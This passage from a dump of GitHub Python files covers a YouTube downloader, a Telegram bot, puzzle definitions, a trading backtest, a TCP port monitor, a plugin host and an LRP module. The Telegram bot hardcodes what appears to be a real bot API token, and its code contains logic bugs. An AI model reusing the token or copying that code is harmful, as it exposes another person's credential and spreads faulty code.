input(f'要下载{i+1}次的视频地址:')\n with youtube_dl.YoutubeDL(ydl_opts) as ydl:\n ydl.download([ys_url])\n\"\"\"\n\n# 仅下载视频的音频\n\nydl_opts = {\n 'format': 'bestaudio/best',\n 'postprocessors': [{\n 'key': 'FFmpegExtractAudio',\n 'preferredcodec': 'mp3',\n 'preferredquality': '192',\n }],\n}\n\ntimes = int(input('输入要下载音频的数量:'))\nfor i in range(times):\n y_url = input(f'要下载{i+1}次音频的视频的地址:')\n with youtube_dl.YoutubeDL(ydl_opts) as ydl:\n ydl.download([y_url])\n","repo_name":"getcoden/python-practise","sub_path":"10 有趣的脚本小程序/Download视频及youtube视频中仅下载音频.py","file_name":"Download视频及youtube视频中仅下载音频.py","file_ext":"py","file_size_in_byte":750,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"23427646474","text":"from telegram import Update, KeyboardButton, ReplyKeyboardMarkup, ReplyKeyboardRemove\nfrom telegram.ext import Updater, CommandHandler, CallbackContext, MessageHandler, Filters, ConversationHandler\n\n\ndef start(updater: Update, context: CallbackContext): # Hardoyim bulish sharit\n updater.message.reply_text(\"Assalomu alakum \\n\\nIsmingizni kirting: ✍️\") # BU botga malumotni pirosta ekranga chiqarish\n # updater.message.text # Botga xabar junatsa qabul qiladi yani ushlob olish uchun\n return 2\n\n\ndef name(updater: Update, context: CallbackContext):\n name_my = updater.message.text\n updater.message.reply_text(\"Familiyangizni kiriting: ✍️\")\n\n return 3\n\n\ndef fname(updater: Update, context: CallbackContext):\n fname_my = updater.message.text\n updater.message.reply_text(\"Yoshingizni kiriting ✍️\")\n\n return 4\n\ndef danni(updater: Update, context: CallbackContext):\n danni_my = updater.message.text\n updater.message.reply_text(f\"Quyidagi ma'lumotlar tog'rimi?\\nISM:{start}\\nFAMILIYA:{name}\\nYOSH:{fname}\")\n return 5\n\ndef age(updater: Update, context: CallbackContext):\n go_to = [ # kinobka uchun uzgaruvchi\n [KeyboardButton(\"⬅️Oldinga\")]\n # KeyboardButton KInobka chiqarish () buni ichiga yozilgan malumot Knobkani ichiga yozlib qoladi\n ]\n # ReplyKeyboardMarkup -- BU kinobka uzgaruvchisini chaqirib beradi\n # resize_keyboard = True -- Kinobka razmer ni kechkena qilib beradi\n updater.message.reply_text(\"Keyingi bo'limga o'tilsinmi?\",\n reply_markup=ReplyKeyboardMarkup(go_to, resize_keyboard=True))\n age_my = updater.message.text\n\n return 6\n\n\ndef menu(updater: Update, context: CallbackContext):\n info_button = [\n [KeyboardButton(\"🍴 Menyu\")],\n [KeyboardButton(\"🛍 Mening buyurtmalarim\")],\n [KeyboardButton(\"✍️ Fikr bildirish\"), KeyboardButton(\"⚙️ Sozlamalar\")]\n ]\n updater.message.reply_text(\"Quydagilardan birini tanlang..\",\n reply_markup=ReplyKeyboardMarkup(info_button, resize_keyboard=True))\n\n return 1\n\n\ndef post_message(updater: Update, context: CallbackContext):\n button_end = [\n [KeyboardButton(\"⬅️ Ortga\")]\n ]\n msg = updater.message.text\n updater.message.reply_text(f\"{msg} buyrug'i bosildi\", reply_markup=ReplyKeyboardMarkup(button_end, resize_keyboard=True))\n\n return 7\n\n # return 2\n # updater.message.reply_text(f\"{msg} bo'limiga\")\n\n\ndef main():\n TOKENT = \"5132329633:AAGFHeFtlyJR4iHeWID7D7CloKzx4xO3AOQ\"\n\n updater = Updater(TOKENT)\n\n all_handler = ConversationHandler(\n entry_points=[CommandHandler(\"start\", start)],\n states={\n 1: [MessageHandler(Filters.text, post_message)],\n 2: [MessageHandler(Filters.text, name)],\n 3: [MessageHandler(Filters.text, fname)],\n 4: [MessageHandler(Filters.text, age)],\n 5: [MessageHandler(Filters.text, menu)], # bu def ni bajarish tartibi\n\n },\n fallbacks=[]\n )\n updater.dispatcher.add_handler(all_handler)\n updater.start_polling()\n updater.idle()\n\n\nif __name__ == \"__main__\":\n main()","repo_name":"richkhandev/rasm.jpg","sub_path":"Bot_3.py","file_name":"Bot_3.py","file_ext":"py","file_size_in_byte":3163,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"74058576090","text":"from puzzler.puzzles import polyominoes\nfrom puzzler.puzzles.polyominoes import (\n Polyominoes123456, OneSidedPolyominoes123456)\n\n\nclass Polyominoes123456Star(Polyominoes123456):\n\n \"\"\"\n Monomono, domino, & triominoes restricted to a central 3x3 square.\n\n Pentominoes & tetrominoes restricted to the middle ring, as per\n Polyominoes12345Diamond2.\n\n Hexominoes restricted to an outer ring.\n\n 4,579 unique solutions for the pentominoes & tetrominoes (outer ring).\n 6 unique solutions for the inner square.\n 8 relative orientations.\n Total unique solutions: 219,792.\n\n many solutions\n\n Design by `Jack Wetterer and Chris Patterson, with symmetry refinements by\n Darian Jenkins `__, extending Kadon's\n 'Poly-5' (gamepuzzles.com/polycub2.htm#P5).\n \"\"\"\n\n width = 27\n height = 29\n\n def coordinates(self):\n self.inner_square_coords = set(\n self.coordinates_rectangle(3, 3, offset=(12,13)))\n coords_5 = set(\n list(self.coordinates_diamond(7, offset=(7,8)))\n + list(self.coordinates_rectangle(15, 1, offset=(6, 14)))\n + list(self.coordinates_rectangle(1, 15, offset=(13, 7))))\n self.middle_ring_coords = coords_5 - set(self.inner_square_coords)\n coords_6 = set(\n list(self.coordinates_rectangle(27, 1, offset=(0, 14)))\n + list(self.coordinates_rectangle(1, 29, offset=(13, 0))))\n for i in range(6):\n coords_6.update(set(self.coordinates_rectangle(\n 23 - 4 * i, 3 + 4 * i, offset=(2 * i + 2, 13 - 2 * i))))\n self.outer_ring_coords = coords_6 - coords_5\n return sorted(coords_6)\n\n def customize_piece_data(self):\n self.piece_data['P06'][-1]['rotations'] = None\n self.piece_data['P06'][-1]['flips'] = None\n\n fixed_inner_pieces = True\n\n if fixed_inner_pieces:\n\n restrictions = {\n #name: [(aspect, offset), ...],\n 'O1': [(0, (13, 14))],\n 'I2': [(1, (13, 15))],\n 'I3': [(0, (12, 13))],\n 'V3': [(2, (13, 13))],\n 'I4': [(1, ( 6, 14))],\n 'L4': [(1, (13, 7))],\n 'O4': [(0, (16, 12))],\n 'T4': [(2, (11, 17))],\n 'Z4': [(1, ( 9, 16))],\n 'F': [(5, (11, 9))],\n 'I': [(0, (13, 17))],\n 'L': [(3, (11, 15))],\n 'N': [(6, ( 8, 14))],\n 'P': [(0, (14, 17))],\n 'T': [(0, (18, 13))],\n 'U': [(1, (15, 14))],\n 'V': [(3, (12, 10))],\n 'W': [(3, ( 8, 11))],\n 'X': [(0, (15, 15,))],\n 'Y': [(0, (15, 10))],\n 'Z': [(3, (10, 11))],\n }\n\n def build_matrix(self):\n self.build_restricted_matrix()\n\n else:\n\n def build_matrix(self):\n self.build_regular_matrix(\n (polyominoes.Monomino.piece_data.keys()\n + polyominoes.Domino.piece_data.keys()\n + sorted(polyominoes.Trominoes.piece_data.keys())),\n sorted(self.inner_square_coords))\n self.build_regular_matrix(\n (sorted(polyominoes.Tetrominoes.piece_data.keys())\n + sorted(polyominoes.Pentominoes.piece_data.keys())),\n sorted(self.middle_ring_coords))\n self.build_regular_matrix(\n sorted(polyominoes.Hexominoes.piece_data.keys()),\n sorted(self.outer_ring_coords))\n\n\nclass Polyominoes123456_23x13(Polyominoes123456):\n\n width = 23\n height = 13\n","repo_name":"bpasanek/puzzlecode","sub_path":"puzzler-tweaked/puzzler/puzzles/polyominoes123456.py","file_name":"polyominoes123456.py","file_ext":"py","file_size_in_byte":3573,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"32"} +{"seq_id":"40065589768","text":"import numpy as np\nimport pandas as pd\n\nimport matplotlib.pyplot as plt\n\ndef load_data(file_name):\n df = pd.read_csv(file_name)\n return df\n\ndef buy_n_sell(true_prices, pred_prices, balance=1000000):\n\n num_share = 0\n portfolio_values = list()\n\n long_pos = 1 # 1 long ; 0 short\n long_price = true_prices[0] # assume holding the stock at the beginning\n\n profits = list() # daily profit\n\n num_share = balance//long_price\n balance = balance-num_share*long_price\n\n for i in range(len(pred_prices)-1):\n if i == len(pred_prices)-2 and long_pos == 1:\n if pred_prices[i+1] >= true_prices[i]:\n profits.append(true_prices[i+1]-long_price) # sell on last day\n long_pos = 0\n balance = balance + true_prices[i + 1] * num_share\n portfolio_values.append(balance) # 2nd last day\n portfolio_values.append(balance) # last day\n num_share = 0\n break\n else: # i == len(pred_prices)-2 and pred_prices[i+1] < true_prices[i] and long_pos == 1:\n profits.append(true_prices[i]-long_price) # sell on the 2nd last day\n long_pos = 0\n balance = balance + num_share*true_prices[i]\n portfolio_values.append(balance)\n portfolio_values.append(balance)\n num_share = 0\n break\n if high_return(true_prices[i], pred_prices[i+1]) and long_pos == 0:\n long_pos = 1\n profits.append(0)\n long_price = true_prices[i]\n portfolio_values.append(balance)\n num_share = balance//long_price\n balance = balance-num_share*long_price\n elif high_return(true_prices[i], pred_prices[i+1]) != True and long_pos == 1:\n long_pos = 0\n profits.append(true_prices[i]-long_price)\n balance = balance + num_share*true_prices[i]\n num_share = 0\n portfolio_values.append(balance)\n elif low_return(true_prices[i], pred_prices[i+1]) and long_pos == 1:\n long_pos = 0\n balance += num_share*true_prices[i]\n portfolio_values.append(balance)\n num_share=0\n else:\n profits.append(0)\n portfolio_values.append(balance+num_share*true_prices[i])\n continue\n return portfolio_values\n\n\n\ndef high_return(true_price, pred_price):\n return pred_price >= true_price * 1.02 > 0 # if predicted price is 2% higher than current price\n\n\ndef low_return(true_price, pred_price):\n return true_price * 0.99 >= pred_price > 0\n\n\nfile_name = 'return_df.csv'\ndf = load_data(file_name)\n\ntrue_prices, pred_prices = df['true_prices'], df['pred_prices']\nbalance = 1000000\nportfolio_values = buy_n_sell(true_prices, pred_prices,balance)\nportfolio_values = [elem/balance for elem in portfolio_values]\ntrue_pct_change = [x/true_prices[0] for x in true_prices]\n\n# plotting\nplt.plot(true_pct_change, label=\"buy and hold\")\nplt.plot(portfolio_values, label='strategy')\nplt.legend()\nplt.show()\n\ntrue_returns = np.diff(true_prices)\npred_returns = np.diff(pred_prices)\nax= plt.figure()\nplt.plot(true_returns, label='true')\nplt.plot(pred_returns, label='predicted')\nplt.show()","repo_name":"ysong126/previous_repo","sub_path":"Time series LSTM/strategy_backtest.py","file_name":"strategy_backtest.py","file_ext":"py","file_size_in_byte":3265,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"13402656694","text":"#Task 9_1\nn=0\nnl=0\nf=0\nwhile n<1 or n>100000:\n n=int(input())\nwhile nl>n or nl<1 or f==1:\n f=0\n print(f\"Vvedite cherz probel {n} chisel.\")\n l=list(map(int,input().split()))\n nl=len(l)\n l.sort()\n if len(l) > 0:\n if l[-1] > 2*10e9 or l[0] < -2*10e9:\n f=1\ntl = set(l)\nprint(len(tl))\n\n##Task 9_2\ntmp1 = set()\ntmp2 = set()\ntmp3 = set()\nprint(f\"Vvedite kol-vo tmp1 <100000.\")\nn=0\nwhile n<1 or n>=100000:\n n=int(input())\nprint(f\"Vvedite tmp1\")\nfor i in range(n):\n tmp1.add(int(input()))\nprint(f\"Vvedite kol-vo tmp2 <100000.\")\nn=0\nwhile n<1 or n>=100000:\n n=int(input())\nprint(f\"Vvedite tmp2\")\nfor i in range(n):\n tmp2.add(int(input()))\ntmp3=tmp2.intersection(tmp1)\nprint(len(tmp3))\n\n##Task 9_3\ntmp=set()\nl=list(map(int,input().split()))\nfor i in l:\n if i in tmp:\n print(f\"{i} YES\")\n else:\n print(f\"{i} NO\")\n tmp.add(i)","repo_name":"IgorKirilyuk/Python1","sub_path":"PythonApplication1/PythonApplication1/lesson_9.py","file_name":"lesson_9.py","file_ext":"py","file_size_in_byte":889,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"30077073517","text":"\"\"\"\r\n\n\nWrite a function that returns the most frequent character in a list of words.\n\n### Examples\n\n most_frequent_char([\"apple\", \"bandage\", \"yodel\", \"make\"])\n ➞ [\"a\", \"e\"]\n \n most_frequent_char([\"music\", \"madness\", \"maniac\", \"motion\"])\n ➞ [\"m\"]\n \n most_frequent_char([\"the\", \"hills\", \"are\", \"alive\", \"with\", \"the\", \"sound\", \"of\", \"music\"])\n ➞ [\"e\", \"h\", \"i\"]\n\n### Notes\n\n * If multiple characters tie for most frequent, list all of them in alphabetical order.\n * Words will be in lower case.\n\n\"\"\"\r\n\ndef most_frequent_char(lst):\n x = ''.join(lst)\n y = [x.count(i) for i in x]\n z = []\n for i in range(len(x)):\n if max(y) == y[i]:\n z.append(x[i])\n return sorted(list(set(z)))\n\n","repo_name":"daniel-reich/turbo-robot","sub_path":"KcD3bABvuryCfZAYv_10.py","file_name":"KcD3bABvuryCfZAYv_10.py","file_ext":"py","file_size_in_byte":720,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"23429131438","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n__author__ = 'Yang'\n\nimport socket\nimport time\nimport json\nimport threadpool\n\nhostname=socket.gethostname()\n\nEntry = {\n \"Endpoint\": hostname,\n \"Timestamp\": int(time.time()),\n \"Step\": 60,\n }\n\n#端口超时时间默认设置为5秒\ndef check_tcp_port(kw, timeout=5):\n try:\n cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n address = (str(kw[\"host\"]), int(kw[\"port\"]))\n cs.settimeout(timeout)\n status = cs.connect_ex(address)\n cs.close()\n except Exception as e:\n return {\"status\": False, \"message\": str(e)}\n else:\n if status != 0:\n return {\"status\": False, \"message\": \"Connection %s:%s failed\" % (kw[\"host\"], kw[\"port\"])}\n else:\n return {\"status\": True, \"message\": \"OK\"}\n\ndef run_check(entry_list,host,port,metric_type):\n kw={\"host\": host,\"port\": port}\n status=check_tcp_port(kw=kw)\n if status['status'] == True:\n value=1\n else:\n value=0\n entry = Entry.copy()\n entry.update({\n \"CounterType\": \"GAUGE\",\n \"Metric\": \"tcp.status\",\n \"TAGS\": \"type={0},port={1}\".format(host,port),\n \"Value\": value\n })\n entry_list.append(entry)\n\ndef run_threadpool():\n args=[]\n #线程池预设为8,可以根据机器性能修改\n task_pool=threadpool.ThreadPool(8)\n for service in service_list:\n for host in service['ip']:\n args.append(([entry_list,host,service[\"port\"],service[\"name\"]],None))\n \n theads=threadpool.makeRequests(run_check,args)\n [task_pool.putRequest(req) for req in theads ]\n task_pool.wait()\n \n\nif __name__ == '__main__':\n entry_list = []\n service_list=[]\n #添加服务就按照下面的例子给service_list添加一个dict,\n service_list.append({ \n \"name\": \"zookeeper\" ,\n \"ip\": [\"192.168.1.100\",\"192.168.1.101\",\"192.168.1.102\"],\n \"port\": \"2181\"\n })\n \n service_list.append({\n \"name\": \"rabbitmq\" ,\n \"ip\": [\"192.168.1.103\",\"192.168.1.104\",\"192.168.1.105\"],\n \"port\": \"5672\"\n })\n\n run_threadpool()\n print(json.dumps(entry_list))\n","repo_name":"84372051/n9e_plugin","sub_path":"60_tcp-connect.py","file_name":"60_tcp-connect.py","file_ext":"py","file_size_in_byte":2268,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"11677492350","text":"from ..processor import Processor\nfrom ..mfp_app import MFPApp\nfrom ..bang import Uninit\n\n\nclass Plugin(Processor):\n doc_tooltip_obj = \"LADSPA plugin host\"\n\n def __init__(self, init_type, init_args, patch, scope, name):\n initargs, kwargs = patch.parse_args(init_args)\n\n self.lib_name = None\n self.lib_index = None\n self.plug_info = None\n self.plug_name = None\n self.plug_inlets = 0\n self.plug_outlets = 0\n self.plug_control = []\n self.dsp_inlets = []\n self.dsp_outlets = []\n self.inlet_map = {}\n\n if len(initargs):\n self.init_plugin(initargs[0])\n\n Processor.__init__(self, self.plug_inlets, self.plug_outlets, init_type, init_args,\n patch, scope, name)\n self.hot_inlets = list(range(self.plug_inlets))\n\n async def setup(self):\n await self.dsp_init(\n \"ladspa~\",\n lib_name=self.lib_name, lib_index=self.lib_index,\n plug_control=self.plug_control\n )\n\n def init_plugin(self, pname):\n\n pinfo = MFPApp().pluginfo.find(pname)\n self.plug_info = pinfo\n self.lib_name = pinfo.get(\"lib_name\")\n self.lib_index = pinfo.get(\"lib_index\")\n self.plug_name = pinfo.get(\"label\")\n self.plug_inlets = 0\n self.plug_outlets = 0\n self.plug_control = []\n self.inlet_map = {}\n\n self.doc_tooltip_obj = (\n MFPApp().pluginfo.plugin_docstring(pinfo) or self.doc_tooltip_obj)\n self.doc_tooltip_inlet = []\n self.doc_tooltip_outlet = []\n\n portinfo = pinfo.get(\"ports\", [])\n\n for portnum, port in enumerate(portinfo):\n self.plug_control.append(0)\n d = port.get(\"descriptor\", 0)\n if d & MFPApp().pluginfo.LADSPA_PORT_INPUT:\n self.doc_tooltip_inlet.append(MFPApp().pluginfo.port_docstring(port))\n if d & MFPApp().pluginfo.LADSPA_PORT_AUDIO:\n self.dsp_inlets.extend([self.plug_inlets])\n else:\n self.plug_control[portnum] = MFPApp().pluginfo.port_default(port)\n self.inlet_map[self.plug_inlets] = portnum\n self.plug_inlets += 1\n\n elif d & MFPApp().pluginfo.LADSPA_PORT_OUTPUT:\n self.doc_tooltip_outlet.append(MFPApp().pluginfo.port_docstring(port))\n if d & MFPApp().pluginfo.LADSPA_PORT_AUDIO:\n self.dsp_outlets.extend([self.plug_outlets])\n else:\n self.plug_control[portnum] = MFPApp().pluginfo.port_default(port)\n self.plug_outlets += 1\n\n async def trigger(self):\n for portnum, value in enumerate(self.inlets):\n if value is not Uninit:\n self.plug_control[self.inlet_map.get(portnum, 0)] = float(value)\n await self.dsp_setparam(\"plug_control\", self.plug_control)\n\n\ndef register():\n MFPApp().register(\"plugin~\", Plugin)\n","repo_name":"bgribble/mfp","sub_path":"mfp/builtins/plugin.py","file_name":"plugin.py","file_ext":"py","file_size_in_byte":2985,"program_lang":"python","lang":"en","doc_type":"code","stars":53,"dataset":"github-code","pt":"32"} +{"seq_id":"22672714018","text":"import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport numpy as np\nfrom typing import Any, Tuple\nimport torch.autograd as autograd\nfrom torch.nn import ModuleList, ModuleDict\n\n\ndef batch_jacobian(func, input: torch.Tensor):\n assert len(input.size()) == 2\n return torch.stack([autograd.functional.jacobian(func, t) for t in input])\n\n\ndef tuple_jacobian(func, inputs: Tuple[torch.Tensor], batch_dim=0):\n # only support batch_size = 1\n return autograd.functional.jacobian(func, inputs) # out_dims , input_dims\n\n\ndef batch_diag(t: torch.Tensor):\n batch_size, hid_size = t.size()\n diag_t = torch.zeros((batch_size, hid_size, hid_size)).to(t)\n diag_t.as_strided(t.size(), [diag_t.stride(0), diag_t.size(2) + 1,],).copy_(t)\n return diag_t\n\n\ndef batch_diag_value(v: torch.Tensor, m_size):\n assert len(v.size()) == 1\n batch_size = v.size(0)\n # print(v)\n diag_t = torch.zeros((batch_size, m_size, m_size)).to(v)\n diag_t = (diag_t + torch.eye(m_size).to(device=v.device)[None]) * v[:, None, None]\n # index = torch.arange(0,m_size, device=v.device)\n # diag_t[:,index,index] = v\n return diag_t\n\n\nclass LRP:\n \"\"\" Helper class for layerwise relevance propagation \"\"\"\n\n alpha = 1.0\n beta = 0.0\n eps = 1e-10\n use_alpha_beta = True # if False, uses simplified LRP rule: R_i = R_j * z_ji / ( z_j + eps * sign(z_j) )\n consider_attn_constant = (\n False # used by MultiHeadAttn, considers gradient w.r.t q/k zeros\n )\n norm_dim = 1\n\n @classmethod\n def relprop(\n cls,\n function,\n out_relevance,\n inputs: Tuple[torch.Tensor],\n reference_inputs=None,\n reference_output=None,\n jacobians=None,\n batch_dim=0,\n ):\n \"\"\"\n computes input relevance given output_relevance using z+ rule\n works for linear layers, convolutions, poolings, etc.\n notation from DOI:10.1371/journal.pone.0130140, Eq 60\n :param function: forward function\n :param output_relevance: relevance w.r.t. layer output\n :param inps: a list of layer inputs\n :param reference_inputs: \\hat x, default values used to evaluate bias relevance.\n If specified, must be a tuple/list of tensors of the same shape as inps, default = all zeros.\n :param reference_output: optional pre-computed function(*reference_inputs) to speed up computation\n :param jacobians: optional pre-computed jacobians to speed up computation, same as jacobians(function(*inps), inps)\n\n \"\"\"\n assert len(inputs) > 0, \"please provide at least one input\"\n\n alpha, beta, eps = cls.alpha, cls.beta, cls.eps\n\n reference_inputs = reference_inputs or [\n torch.zeros_like(input).to(input) for input in inputs\n ]\n assert len(reference_inputs) == len(inputs)\n\n output = function(*inputs)\n reference_output = (\n reference_output\n if reference_output is not None\n else function(*reference_inputs)\n )\n assert isinstance(output, torch.Tensor) and isinstance(\n reference_output, torch.Tensor\n )\n assert out_relevance.size() == output.size()\n\n flat_out_relevance = out_relevance.view(-1)\n output_size = flat_out_relevance.size(0)\n\n # 1. compute jacobian w.r.t. all inputs\n jacobians = (\n jacobians if jacobians is not None else tuple_jacobian(function, inputs)\n )\n # ^-- list of [*output_dims, *input_dims] for each input\n assert len(jacobians) == len(inputs)\n\n jac_flat_components = [jac.view(output_size, -1) for jac in jacobians]\n # ^-- list of [output_size, input_size] for each input\n flat_jacobian = torch.cat(\n jac_flat_components, dim=-1\n ) # [output_size, combined_input_size]\n\n # 2. multiply jacobian by input to get unnormalized relevances, add bias\n\n flat_input = torch.cat(\n [input.view(-1) for input in inputs], dim=-1\n ) # [combined_input_size]\n flat_reference_input = torch.cat(\n [ref_input.view(-1) for ref_input in reference_inputs], dim=-1\n ) # [combined_input_size]\n batch_size = output.size(batch_dim)\n input_size_per_sample = flat_input.size(0) // batch_size\n flat_bias_impact = reference_output.view(-1) / input_size_per_sample\n\n flat_impact = (\n flat_bias_impact[:, None]\n + flat_jacobian * (flat_input - flat_reference_input)[None, :]\n )\n\n # ^-- [output_size, combined_input_size], aka z_{j<-i}\n\n if cls.use_alpha_beta:\n # 3. normalize positive and negative relevance separately and add them with coefficients\n flat_positive_impact = torch.maximum(\n flat_impact, torch.zeros_like(flat_impact)\n )\n flat_positive_normalizer = (\n torch.sum(flat_positive_impact, dim=cls.norm_dim, keepdim=True) + eps\n )\n flat_positive_relevance = flat_positive_impact / flat_positive_normalizer\n\n flat_negative_impact = torch.minimum(\n flat_impact, torch.zeros_like(flat_impact)\n )\n flat_negative_normalizer = (\n torch.sum(flat_negative_impact, dim=cls.norm_dim, keepdim=True) - eps\n )\n flat_negative_relevance = flat_negative_impact / flat_negative_normalizer\n flat_total_relevance_transition = (\n alpha * flat_positive_relevance + beta * flat_negative_relevance\n )\n else:\n raise NotImplemented()\n # flat_impact_normalizer = tf.reduce_sum(flat_impact, axis=cls.norm_axis, keep_dims=True)\n # flat_impact_normalizer += eps * (1. - 2. * tf.to_float(tf.less(flat_impact_normalizer, 0)))\n # flat_total_relevance_transition = flat_impact / flat_impact_normalizer\n # note: we do not use tf.sign(z) * eps because tf.sign(0) = 0, so zeros will not go away\n\n flat_in_relevance = torch.einsum(\n \"o,oi\", flat_out_relevance, flat_total_relevance_transition\n )\n # ^-- [combined_input_size]\n\n # 5. unpack flat_inp_relevance back into individual tensors\n in_relevances = []\n offset = 0\n for input in inputs:\n input_size = input.view(-1).size(0)\n inp_relevance = flat_in_relevance[offset : offset + input_size].view_as(\n input\n )\n in_relevances.append(inp_relevance)\n offset = offset + input_size\n\n return cls.rescale(out_relevance, in_relevances, batch_dim=batch_dim)\n\n @classmethod\n def rescale(\n cls,\n out_relevance: torch.Tensor,\n in_relevances: Tuple[torch.Tensor],\n batch_dim=None,\n ):\n # assert isinstance(batch_axes, (tuple, list))\n sum_dims = tuple(\n i\n for i in range(len(in_relevances[0].size()))\n if batch_dim is None or i != batch_dim\n )\n ref_scale = out_relevance.abs().sum(\n dim=sum_dims, keepdim=True\n ) # batch_size x 1*\n inp_scales = [\n in_relevance.abs().sum(dim=sum_dims, keepdim=True)\n for in_relevance in in_relevances\n ] # list[batch_size x 1*]\n total_inp_scale = sum(inp_scales) + cls.eps # batch_size x 1*\n in_relevances = [\n in_relevance * (ref_scale / total_inp_scale)\n for in_relevance in in_relevances\n ]\n return in_relevances\n\n\nclass LRPWrapper(nn.Module):\n def __init__(self) -> None:\n super().__init__()\n self.store = {}\n\n def record(self, key, value):\n assert key not in self.store or self.store[key] is None\n self.store[key] = value\n\n def get_record(self, key):\n assert key in self.store and self.store[key] is not False\n if key not in self.store:\n return None\n return self.store[key]\n\n def clear_record(self):\n self.store.clear()\n for key, value in self._modules.items():\n if isinstance(value, LRPWrapper):\n value.clear_record()\n elif isinstance(value, ModuleList):\n for module in value:\n if isinstance(module, LRPWrapper):\n module.clear_record()\n elif isinstance(value, ModuleDict):\n for _, module in value.items():\n if isinstance(module, LRPWrapper):\n module.clear_record()\n\n def relprop(self, out_relevance):\n raise NotImplemented()\n\n\nclass AddWrapper(LRPWrapper):\n def __init__(self) -> None:\n super().__init__()\n\n def forward(self, x, y, record=False):\n if record:\n self.record(\"input1\", x)\n self.record(\"input2\", y)\n return x + y\n\n def relprop(self, out_relevance):\n input1 = self.get_record(\"input1\")\n input2 = self.get_record(\"input2\")\n # input: [*dims, inp_size], out: [*dims, out_size]\n\n # note: we apply relprop for each independent sample in order to avoid quadratic memory requirements\n flat_input1 = input1.view(-1, input1.size(-1))\n flat_input2 = input2.view(-1, input2.size(-1))\n flat_out_relevance = out_relevance.view(-1, out_relevance.size(-1))\n\n flat_in_relevance = [\n LRP.relprop(\n self,\n flat_out_relevance[i, None],\n (flat_input1[i, None], flat_input2[i, None]),\n jacobians=[\n torch.eye(flat_input1.size(-1)).to(out_relevance)[None, :, None, :],\n torch.eye(flat_input2.size(-1)).to(out_relevance)[None, :, None, :],\n ],\n )\n for i in range(len(flat_input1))\n ]\n\n flat_in_relevance1 = torch.cat([items[0] for items in flat_in_relevance], dim=0)\n flat_in_relevance2 = torch.cat([items[1] for items in flat_in_relevance], dim=0)\n\n # flat_in_relevance1, flat_in_relevanc2 = LRP.relprop(\n # self, flat_out_relevance, (flat_input1, flat_input2)\n # )\n in_relevance1 = flat_in_relevance1.view_as(input1)\n in_relevance2 = flat_in_relevance2.view_as(input2)\n\n return in_relevance1, in_relevance2\n\n\nclass LinearWrapper(LRPWrapper):\n def __init__(self, linear: torch.nn.Module, activation_fn=None) -> None:\n super().__init__()\n self.weight = linear.weight\n self.bias = linear.bias\n self.activation_fn = activation_fn\n\n def forward(self, x, record=False):\n if record:\n self.record(\"input\", x)\n x = x.matmul(self.weight.t())\n if self.bias is not None:\n x = x + self.bias\n if self.activation_fn is not None:\n x = self.activation_fn(x)\n return x\n\n def relprop(self, out_relevance):\n\n input = self.get_record(\"input\")\n # input: [*dims, inp_size], out: [*dims, out_size]\n\n # note: we apply relprop for each independent sample in order to avoid quadratic memory requirements\n flat_input = input.view(-1, input.size(-1))\n flat_out_relevance = out_relevance.view(-1, out_relevance.size(-1))\n\n flat_in_relevance = [\n LRP.relprop(\n self,\n flat_out_relevance[i, None],\n (flat_input[i, None],),\n jacobians=[self.weight[None, :, None, :]],\n )[0]\n for i in range(len(flat_input))\n ]\n flat_in_relevance = torch.cat(flat_in_relevance, dim=0)\n\n # if flat_input.size(0) == 1:\n # flat_in_relevance = LRP.relprop(\n # self,\n # flat_out_relevance,\n # (flat_input,),\n # jacobians=[self.weight[None, :, None, :]],\n # )[0]\n # else:\n # flat_in_relevance = LRP.relprop(self, flat_out_relevance, (flat_input,))[0]\n\n in_relevance = flat_in_relevance.view_as(input)\n\n return in_relevance\n\n\nclass LayerNormWrapper(LRPWrapper):\n \"\"\"\n Performs Layer Normalization\n \"\"\"\n\n def __init__(self, layernorm) -> None:\n super().__init__()\n self.weight = layernorm.weight\n self.bias = layernorm.bias\n self.epsilon = layernorm.eps\n self.normalized_shape = layernorm.normalized_shape\n\n def forward(self, x, record=False):\n if record:\n self.record(\"input\", x)\n\n return F.layer_norm(\n x, self.normalized_shape, self.weight, self.bias, self.epsilon\n )\n\n def _jacobian(self, input):\n assert len(input.size()) == 2, \"Please reshape your inputs to [batch, dim]\"\n batch_size = input.size(0)\n hid_size = input.size(1)\n centered_input = input - torch.mean(input, dim=-1, keepdim=True)\n variance = torch.var(centered_input, dim=-1, unbiased=False, keepdim=True)\n invstd_factor = torch.rsqrt(variance)\n\n # note: the code below will compute jacobian without taking self.scale into account until the _last_ line\n # jac_out_wrt_invstd_factor = centered_input\n jac_out_wrt_variance = -0.5 * (variance + self.epsilon) ** (-1.5)\n\n jac_out_wrt_squared_difference = jac_out_wrt_variance / hid_size\n\n jac_out_wrt_centered_input = (\n batch_diag_value(invstd_factor[:, 0], hid_size)\n + jac_out_wrt_squared_difference[:, :, None]\n * 2\n * centered_input[:, None, :]\n * centered_input[:, :, None]\n )\n\n # jac_out_wrt_input = torch.matmul(\n # jac_out_wrt_centered_input,\n # (\n # torch.eye(hid_size).to(input)\n # - (torch.ones((hid_size, hid_size)).to(input) / hid_size)\n # ),\n # )\n jac_out_wrt_input = torch.matmul(\n jac_out_wrt_centered_input.float(),\n (\n torch.eye(hid_size).to(input)\n - (torch.ones((hid_size, hid_size)).to(input) / hid_size)\n ).float(),\n )\n return jac_out_wrt_input.half() # batch x hid_size x hid_size\n # return jac_out_wrt_input # batch x hid_size x hid_size\n\n def relprop(self, out_relevance):\n \"\"\"\n computes input relevance given output_relevance\n :param output_relevance: relevance w.r.t. layer output, [*dims, out_size]\n notation from DOI:10.1371/journal.pone.0130140, Eq 60\n \"\"\"\n input = self.get_record(\"input\")\n # input: [*dims, inp_size], out: [*dims, out_size]\n\n flat_input = input.view(-1, input.size(-1))\n flat_out_relevance = out_relevance.view(-1, out_relevance.size(-1))\n\n jacobians = 